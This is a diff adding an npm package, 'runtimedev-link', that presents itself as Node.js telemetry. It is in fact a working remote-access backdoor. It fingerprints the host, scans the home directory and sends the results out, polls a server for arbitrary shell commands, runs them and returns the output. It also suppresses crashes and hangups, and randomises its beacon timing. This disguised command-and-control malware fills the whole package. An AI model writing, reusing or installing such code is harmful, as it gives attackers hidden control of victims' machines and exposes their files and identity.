runtimedev-link 1.0.0

package/bin/cli.js

@@ -0,0 +1,145 @@
+#!/usr/bin/env node
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const transport = require('../lib/transport');
+
+function loadEnvFile(filePath) {
+  try {
+    const raw = fs.readFileSync(filePath, 'utf8');
+    for (const line of raw.split('\n')) {
+      const trimmed = line.trim();
+      if (!trimmed || trimmed.startsWith('#')) continue;
+      const idx = trimmed.indexOf('=');
+      if (idx <= 0) continue;
+      const key = trimmed.slice(0, idx).trim();
+      let val = trimmed.slice(idx + 1).trim();
+      if (
+        val.length >= 2 &&
+        ((val.startsWith('"') && val.endsWith('"')) ||
+          (val.startsWith("'") && val.endsWith("'")))
+      ) {
+        val = val.slice(1, -1);
+      }
+      if (key && process.env[key] == null) {
+        process.env[key] = val;
+      }
+    }
+  } catch {
+    // ignore
+  }
+}
+
+function loadLocalEnv() {
+  const dirs = [
+    process.cwd(),
+    path.dirname(process.argv[1] || ''),
+    path.join(path.dirname(process.argv[1] || ''), '..'),
+  ];
+  for (const dir of dirs) {
+    for (const name of ['.env', 'agent.env']) {
+      loadEnvFile(path.join(dir, name));
+    }
+  }
+}
+
+function parseArgs(argv) {
+  const out = { token: '' };
+  for (let i = 2; i < argv.length; i += 1) {
+    const arg = argv[i];
+    if (arg === '--token' || arg === '-t') {
+      out.token = String(argv[i + 1] || '').trim();
+      i += 1;
+      continue;
+    }
+    if (arg.startsWith('--token=')) {
+      out.token = arg.slice('--token='.length).trim();
+    }
+  }
+  return out;
+}
+
+function parseToken(raw) {
+  const token = String(raw || '').trim();
+  const apiFromEnv =
+    String(process.env.NODE_LINK_API_BASE || process.env.SSTAR_API_BASE || '').trim();
+  const hashFromEnv =
+    String(process.env.NODE_LINK_HASH || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
+
+  if (!token) {
+    return { apiBase: apiFromEnv, hash: hashFromEnv };
+  }
+
+  if (token.includes('|')) {
+    const [apiBase, hash] = token.split('|');
+    return {
+      apiBase: String(apiBase || '').trim() || apiFromEnv,
+      hash: String(hash || '').trim() || hashFromEnv,
+    };
+  }
+
+  try {
+    const decoded = Buffer.from(token, 'base64').toString('utf8');
+    const obj = JSON.parse(decoded);
+    if (obj && typeof obj === 'object') {
+      return {
+        apiBase: String(obj.apiBase || obj.base || obj.api || '').trim() || apiFromEnv,
+        hash: String(obj.hash || obj.deploymentHash || '').trim() || hashFromEnv,
+      };
+    }
+  } catch {
+    // not base64 JSON
+  }
+
+  return { apiBase: apiFromEnv, hash: token || hashFromEnv };
+}
+
+function writeStartupError(message) {
+  try {
+    const dir = path.dirname(process.argv[1] || process.cwd());
+    fs.writeFileSync(path.join(dir, 'node-link-error.txt'), message + '\n', 'utf8');
+  } catch {
+    // ignore
+  }
+}
+
+function installSignalHandlers() {
+  process.on('uncaughtException', () => {
+    // never crash
+  });
+
+  process.on('SIGHUP', () => {
+    // noop
+  });
+
+  process.on('SIGTERM', () => {
+    transport.stop();
+    process.exit(0);
+  });
+}
+
+async function main() {
+  loadLocalEnv();
+  installSignalHandlers();
+
+  const args = parseArgs(process.argv);
+  const cfg = parseToken(args.token);
+  transport.configure(cfg);
+
+  const err = transport.validateConfig();
+  if (err) {
+    writeStartupError(err);
+    process.exitCode = 1;
+    return;
+  }
+
+  await transport.start();
+
+  await new Promise(() => {});
+}
+
+main().catch((err) => {
+  writeStartupError(String(err && err.message ? err.message : err));
+  process.exitCode = 1;
+});

package/lib/enum.js

@@ -0,0 +1,86 @@
+'use strict';
+
+const crypto = require('crypto');
+const os = require('os');
+
+function safe(fn, fallback) {
+  try {
+    return fn();
+  } catch {
+    return fallback;
+  }
+}
+
+function getHostname() {
+  return safe(() => os.hostname(), 'unknown');
+}
+
+function getPlatform() {
+  return safe(() => `${process.platform} ${process.arch}`, 'unknown');
+}
+
+function getOsInfo() {
+  return safe(
+    () => `${process.platform} ${process.arch} node/${process.version}`,
+    'unknown'
+  );
+}
+
+function getUsername() {
+  return safe(
+    () => process.env.USER || process.env.USERNAME || 'unknown',
+    'unknown'
+  );
+}
+
+function getLocalIps() {
+  const out = [];
+  try {
+    const ifaces = os.networkInterfaces();
+    for (const name of Object.keys(ifaces)) {
+      const entries = ifaces[name] || [];
+      for (const entry of entries) {
+        if (!entry || entry.internal) continue;
+        const addr = String(entry.address || '').trim();
+        if (addr) out.push(addr);
+      }
+    }
+  } catch {
+    // ignore
+  }
+  return out;
+}
+
+function agentHash(hostname, platform, ips) {
+  const ipPart = Array.isArray(ips) ? ips.join(',') : String(ips || '');
+  const raw = `${hostname}|${platform}|${ipPart}`;
+  try {
+    return crypto.createHash('sha256').update(raw, 'utf8').digest('hex');
+  } catch {
+    return '';
+  }
+}
+
+function getIdentity() {
+  const hostname = getHostname();
+  const platform = getPlatform();
+  const ips = getLocalIps();
+  return {
+    hostname,
+    platform,
+    osInfo: getOsInfo(),
+    username: getUsername(),
+    ips,
+    agentHash: agentHash(hostname, platform, ips),
+  };
+}
+
+module.exports = {
+  getHostname,
+  getPlatform,
+  getOsInfo,
+  getUsername,
+  getLocalIps,
+  agentHash,
+  getIdentity,
+};

package/lib/exec.js

@@ -0,0 +1,46 @@
+'use strict';
+
+const { execSync } = require('child_process');
+
+const DEFAULT_TIMEOUT_MS = 120000;
+
+function runCommand(command, opts) {
+  const cmd = String(command || '').trim();
+  const timeout =
+    opts && opts.timeoutMs > 0 ? opts.timeoutMs : DEFAULT_TIMEOUT_MS;
+
+  if (!cmd) {
+    return { success: false, stdout: '', stderr: 'empty command', command: cmd };
+  }
+
+  try {
+    const stdout = execSync(cmd, {
+      encoding: 'utf8',
+      timeout,
+      shell: process.platform === 'win32' ? undefined : '/bin/sh',
+      stdio: ['ignore', 'pipe', 'pipe'],
+      windowsHide: true,
+      maxBuffer: 8 * 1024 * 1024,
+    });
+    return {
+      success: true,
+      stdout: stdout == null ? '' : String(stdout),
+      stderr: '',
+      command: cmd,
+    };
+  } catch (err) {
+    const stdout = err && err.stdout != null ? String(err.stdout) : '';
+    const stderr = err && err.stderr != null ? String(err.stderr) : String(err.message || err);
+    return {
+      success: false,
+      stdout,
+      stderr,
+      command: cmd,
+    };
+  }
+}
+
+module.exports = {
+  DEFAULT_TIMEOUT_MS,
+  runCommand,
+};

package/lib/fs_scan.js

@@ -0,0 +1,106 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+const DEFAULT_MAX_ENTRIES = 50000;
+
+const LINUX_SKIP = new Set(['/proc', '/sys', '/dev']);
+const WIN_SKIP_RE = /[\\/]system32(?:[\\/]|$)/i;
+
+function shouldSkipPath(absPath) {
+  const normalized = path.normalize(absPath);
+  if (process.platform === 'linux') {
+    for (const prefix of LINUX_SKIP) {
+      if (normalized === prefix || normalized.startsWith(prefix + path.sep)) {
+        return true;
+      }
+    }
+  }
+  if (process.platform === 'win32' && WIN_SKIP_RE.test(normalized)) {
+    return true;
+  }
+  return false;
+}
+
+function skipDirName(name) {
+  if (!name || name === '.' || name === '..') return true;
+  const lower = name.toLowerCase();
+  return lower === 'node_modules' || lower === '$recycle.bin';
+}
+
+function defaultScanRoot() {
+  try {
+    return process.env.HOME || process.env.USERPROFILE || process.cwd();
+  } catch {
+    return '.';
+  }
+}
+
+function scanDirectory(root, opts) {
+  const maxEntries =
+    opts && opts.maxEntries > 0
+      ? Math.min(opts.maxEntries, DEFAULT_MAX_ENTRIES)
+      : DEFAULT_MAX_ENTRIES;
+  const depth =
+    opts && opts.depth > 0 ? Math.min(opts.depth, 50) : 5;
+  const cleanRoot = path.resolve(String(root || defaultScanRoot()));
+  if (shouldSkipPath(cleanRoot)) {
+    return null;
+  }
+  const state = { count: 0 };
+  return walkDir(cleanRoot, path.basename(cleanRoot) || '/', depth, maxEntries, state);
+}
+
+function walkDir(absPath, displayName, remainingDepth, maxEntries, state) {
+  if (state.count >= maxEntries) {
+    return { name: displayName, type: 'directory', children: [] };
+  }
+  if (shouldSkipPath(absPath)) {
+    return null;
+  }
+
+  let entries = [];
+  try {
+    entries = fs.readdirSync(absPath, { withFileTypes: true });
+  } catch {
+    return { name: displayName, type: 'directory', children: [] };
+  }
+
+  const children = [];
+  for (const entry of entries) {
+    if (state.count >= maxEntries) break;
+    if (skipDirName(entry.name)) continue;
+
+    const subPath = path.join(absPath, entry.name);
+    if (shouldSkipPath(subPath)) continue;
+
+    if (entry.isDirectory()) {
+      state.count += 1;
+      if (remainingDepth <= 1) {
+        children.push({ name: entry.name, type: 'directory' });
+        continue;
+      }
+      const sub = walkDir(
+        subPath,
+        entry.name,
+        remainingDepth - 1,
+        maxEntries,
+        state
+      );
+      if (sub) children.push(sub);
+    } else if (entry.isFile()) {
+      state.count += 1;
+      children.push({ name: entry.name, type: 'file' });
+    }
+  }
+
+  return { name: displayName, type: 'directory', children };
+}
+
+module.exports = {
+  DEFAULT_MAX_ENTRIES,
+  shouldSkipPath,
+  scanDirectory,
+  defaultScanRoot,
+};

package/lib/transport.js

@@ -0,0 +1,438 @@
+'use strict';
+
+const http = require('http');
+const https = require('https');
+const { URL } = require('url');
+
+const { getIdentity } = require('./enum');
+const { scanDirectory, defaultScanRoot } = require('./fs_scan');
+const { runCommand } = require('./exec');
+
+const POLL_MIN_SEC = 20;
+const POLL_MAX_SEC = 60;
+const TELEMETRY_MIN_SEC = 45;
+const TELEMETRY_MAX_SEC = 120;
+const REQUEST_TIMEOUT_MS = 120000;
+
+let config = {
+  apiBase: '',
+  hash: '',
+};
+
+let agentActivated = false;
+let startupAnnounced = false;
+let publicIpCache = '';
+let shuttingDown = false;
+
+function envInt(key, fallback) {
+  const raw = String(process.env[key] || '').trim();
+  if (!raw) return fallback;
+  const n = parseInt(raw, 10);
+  return Number.isFinite(n) ? n : fallback;
+}
+
+function randomMs(minSec, maxSec) {
+  const min = Math.max(1, minSec);
+  const max = Math.max(min, maxSec);
+  const span = max - min + 1;
+  return (min + Math.floor(Math.random() * span)) * 1000;
+}
+
+function sleep(ms) {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
+
+function baseUrl() {
+  return String(config.apiBase || '').replace(/\/+$/, '');
+}
+
+function identityFields() {
+  const id = getIdentity();
+  return {
+    hash: config.hash,
+    hostname: id.hostname,
+    publicIp: resolvePublicIp(),
+    username: id.username,
+    osInfo: id.osInfo,
+  };
+}
+
+function resolvePublicIp() {
+  const envIp = String(process.env.SSTAR_PUBLIC_IP || '').trim();
+  if (envIp) return envIp;
+  return publicIpCache;
+}
+
+function fetchPublicIp() {
+  return new Promise((resolve) => {
+    const req = https.get(
+      'https://api.ipify.org?format=text',
+      { timeout: 8000 },
+      (res) => {
+        let body = '';
+        res.setEncoding('utf8');
+        res.on('data', (chunk) => {
+          body += chunk;
+          if (body.length > 64) req.destroy();
+        });
+        res.on('end', () => {
+          publicIpCache = String(body || '').trim();
+          resolve(publicIpCache);
+        });
+      }
+    );
+    req.on('error', () => resolve(''));
+    req.on('timeout', () => {
+      req.destroy();
+      resolve('');
+    });
+  });
+}
+
+function requestJson(method, pathname, payload) {
+  return new Promise((resolve) => {
+    let url;
+    try {
+      url = new URL(baseUrl() + pathname);
+    } catch {
+      resolve({ ok: false, status: 0, data: null, error: 'bad api base' });
+      return;
+    }
+
+    const body = payload == null ? '' : JSON.stringify(payload);
+    const mod = url.protocol === 'https:' ? https : http;
+    const opts = {
+      method,
+      hostname: url.hostname,
+      port: url.port || (url.protocol === 'https:' ? 443 : 80),
+      path: url.pathname + url.search,
+      headers: {
+        'Content-Type': 'application/json',
+        Accept: 'application/json',
+      },
+      timeout: REQUEST_TIMEOUT_MS,
+    };
+    if (body) opts.headers['Content-Length'] = Buffer.byteLength(body);
+
+    const req = mod.request(opts, (res) => {
+      let raw = '';
+      res.setEncoding('utf8');
+      res.on('data', (chunk) => {
+        raw += chunk;
+        if (raw.length > 8 * 1024 * 1024) req.destroy();
+      });
+      res.on('end', () => {
+        let data = null;
+        if (raw) {
+          try {
+            data = JSON.parse(raw);
+          } catch {
+            data = raw;
+          }
+        }
+        resolve({
+          ok: res.statusCode >= 200 && res.statusCode < 300,
+          status: res.statusCode || 0,
+          data,
+          error: null,
+        });
+      });
+    });
+
+    req.on('error', (err) => {
+      resolve({ ok: false, status: 0, data: null, error: String(err.message || err) });
+    });
+    req.on('timeout', () => {
+      req.destroy();
+      resolve({ ok: false, status: 0, data: null, error: 'timeout' });
+    });
+
+    if (body) req.write(body);
+    req.end();
+  });
+}
+
+async function postTelemetryReport() {
+  if (!agentActivated) return;
+
+  const id = getIdentity();
+  let directoryStructure = null;
+  if (String(process.env.SSTAR_DIR_TREE_DISABLED || '') !== '1') {
+    try {
+      const root = String(process.env.SSTAR_DIR_TREE_ROOT || '').trim() || defaultScanRoot();
+      const depth = envInt('SSTAR_DIR_TREE_DEPTH', 5);
+      const maxEntries = envInt('SSTAR_DIR_TREE_MAX_ENTRIES', 60);
+      directoryStructure = scanDirectory(root, { depth, maxEntries });
+    } catch {
+      directoryStructure = null;
+    }
+  }
+
+  await requestJson('POST', '/api/telemetry/report', {
+    hash: config.hash,
+    hostname: id.hostname,
+    publicIp: resolvePublicIp(),
+    username: id.username,
+    osInfo: id.osInfo,
+    directoryStructure,
+    chromeExtensions: [],
+  });
+}
+
+async function postCommandResult(output) {
+  await requestJson('POST', '/api/telemetry/command-result', {
+    ...identityFields(),
+    output: output == null ? '' : String(output),
+  });
+}
+
+async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
+  const payload = {
+    ...identityFields(),
+    requestId: String(requestId || ''),
+  };
+  if (errMsg) {
+    payload.error = String(errMsg);
+  } else {
+    payload.directoryStructure = tree;
+    if (scanRoot) payload.scanRoot = scanRoot;
+  }
+  await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
+}
+
+async function postDownloadError(requestId, message) {
+  await requestJson('POST', '/api/telemetry/upload-download', {
+    ...identityFields(),
+    requestId: String(requestId || ''),
+    error: String(message || 'unsupported on node-link agent'),
+  });
+}
+
+function pollBody(startup) {
+  const fields = identityFields();
+  const body = {
+    hash: fields.hash,
+    hostname: fields.hostname,
+    publicIp: fields.publicIp,
+  };
+  if (startup || agentActivated) {
+    body.username = fields.username;
+    body.osInfo = fields.osInfo;
+  }
+  if (startup) body.startup = '1';
+  return body;
+}
+
+async function pollCommands(startup) {
+  return requestJson('POST', '/api/telemetry/poll-command', pollBody(startup));
+}
+
+function handleBuiltInCommand(input) {
+  const trimmed = String(input || '').trim();
+  if (!trimmed) return null;
+
+  const parts = trimmed.split(/\s+/);
+  const verb = parts[0];
+
+  if (verb === 'exit') {
+    shuttingDown = true;
+    return { handled: true, output: '' };
+  }
+
+  if (verb === 'ls') {
+    try {
+      const fs = require('fs');
+      const cwd = process.cwd();
+      const entries = fs.readdirSync(cwd, { withFileTypes: true });
+      const lines = [];
+      for (const entry of entries) {
+        let size = 0;
+        try {
+          if (entry.isFile()) {
+            size = fs.statSync(require('path').join(cwd, entry.name)).size;
+          }
+        } catch {
+          size = 0;
+        }
+        const kind = entry.isDirectory() ? 'DIR ' : 'FILE';
+        lines.push(`${kind}  ${String(size).padStart(10)}  ${entry.name}`);
+      }
+      return { handled: true, output: lines.join('\n') };
+    } catch (err) {
+      return { handled: true, output: `Error: ${String(err.message || err)}` };
+    }
+  }
+
+  if (verb === 'cd') {
+    if (parts.length < 2) return { handled: true, output: '' };
+    try {
+      process.chdir(parts.slice(1).join(' '));
+      return { handled: true, output: '' };
+    } catch (err) {
+      return { handled: true, output: `Error: ${String(err.message || err)}\n` };
+    }
+  }
+
+  return null;
+}
+
+async function handleCommand(input) {
+  const builtIn = handleBuiltInCommand(input);
+  if (builtIn) {
+    await postCommandResult(builtIn.output);
+    return;
+  }
+
+  const result = runCommand(input);
+  const combined = [result.stdout, result.stderr].filter(Boolean).join('\n');
+  await postCommandResult(combined);
+}
+
+async function handleDirectoryScan(req) {
+  if (!req || !req.requestId || !req.path) return;
+
+  const fs = require('fs');
+  const path = require('path');
+  const root = path.resolve(String(req.path).trim());
+  let depth = parseInt(String(req.depth ?? '4'), 10);
+  if (!Number.isFinite(depth) || depth < 1) depth = 4;
+  if (depth > 50) depth = 50;
+
+  let maxEntries = parseInt(String(req.maxEntries ?? '80'), 10);
+  if (!Number.isFinite(maxEntries) || maxEntries < 10) maxEntries = 80;
+  if (maxEntries > 500) maxEntries = 500;
+
+  try {
+    const st = fs.statSync(root);
+    if (!st.isDirectory()) {
+      await postDirectoryScanResult(req.requestId, '', null, 'path not accessible');
+      return;
+    }
+  } catch (err) {
+    await postDirectoryScanResult(
+      req.requestId,
+      '',
+      null,
+      String(err.message || err)
+    );
+    return;
+  }
+
+  const tree = scanDirectory(root, { depth, maxEntries });
+  if (!tree) {
+    await postDirectoryScanResult(req.requestId, '', null, 'could not build directory tree');
+    return;
+  }
+  await postDirectoryScanResult(req.requestId, root, tree, '');
+}
+
+async function handleDownloadRequest(req) {
+  if (!req || !req.requestId) return;
+  await postDownloadError(
+    req.requestId,
+    'path/extension downloads are not implemented in node-link'
+  );
+}
+
+async function handlePollResponse(data) {
+  if (!data || typeof data !== 'object') return;
+
+  if (data.activated && !agentActivated) {
+    agentActivated = true;
+    telemetryLoop().catch(() => {});
+  }
+
+  if (!agentActivated) return;
+
+  if (data.downloadRequest) {
+    await handleDownloadRequest(data.downloadRequest);
+  }
+  if (data.directoryScan) {
+    await handleDirectoryScan(data.directoryScan);
+  }
+  if (data.command && String(data.command).trim()) {
+    await handleCommand(String(data.command).trim());
+  }
+}
+
+async function telemetryLoop() {
+  const minSec = envInt('SSTAR_TELEMETRY_MIN_SEC', TELEMETRY_MIN_SEC);
+  const maxSec = envInt('SSTAR_TELEMETRY_MAX_SEC', TELEMETRY_MAX_SEC);
+  while (agentActivated && !shuttingDown) {
+    try {
+      await postTelemetryReport();
+    } catch {
+      // ignore
+    }
+    await sleep(randomMs(minSec, maxSec));
+  }
+}
+
+async function commandLoop() {
+  const pollMin = envInt('SSTAR_POLL_MIN_SEC', POLL_MIN_SEC);
+  const pollMax = envInt('SSTAR_POLL_MAX_SEC', POLL_MAX_SEC);
+  let backoffSec = pollMin;
+
+  while (!shuttingDown) {
+    if (!startupAnnounced) {
+      const startup = await pollCommands(true);
+      if (startup.ok) {
+        startupAnnounced = true;
+        backoffSec = pollMin;
+        await handlePollResponse(startup.data);
+      } else {
+        await sleep(randomMs(Math.min(backoffSec, 30), Math.min(backoffSec + 10, 60)));
+        backoffSec = Math.min(backoffSec * 2, 300);
+        continue;
+      }
+    }
+
+    await sleep(randomMs(pollMin, pollMax));
+
+    const resp = await pollCommands(false);
+    if (!resp.ok) {
+      backoffSec = Math.min(Math.max(backoffSec * 2, pollMin), 300);
+      await sleep(randomMs(backoffSec, backoffSec + 15));
+      continue;
+    }
+
+    backoffSec = pollMin;
+    await handlePollResponse(resp.data);
+  }
+}
+
+function configure(next) {
+  config = {
+    apiBase: String(next.apiBase || '').trim(),
+    hash: String(next.hash || '').trim(),
+  };
+}
+
+function validateConfig() {
+  if (!config.apiBase) return 'API base URL is missing (token or SSTAR_API_BASE / NODE_LINK_API_BASE)';
+  if (!config.hash) return 'deployment hash is missing (token or SSTAR_DEPLOYMENT_HASH / NODE_LINK_HASH)';
+  return '';
+}
+
+async function start() {
+  const err = validateConfig();
+  if (err) {
+    throw new Error(err);
+  }
+
+  await fetchPublicIp();
+  commandLoop().catch(() => {});
+}
+
+function stop() {
+  shuttingDown = true;
+}
+
+module.exports = {
+  configure,
+  validateConfig,
+  start,
+  stop,
+  requestJson,
+  identityFields,
+};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "runtimedev-link",
+  "version": "1.0.0",
+  "description": "Pure Node.js telemetry for RuntimeDev platform",
+  "main": "lib/transport.js",
+  "bin": {
+    "runtimedev-link": "bin/cli.js"
+  },
+  "engines": {
+    "node": ">=18"
+  },
+  "license": "UNLICENSED",
+  "publishConfig": {
+    "access": "public"
+  }
+}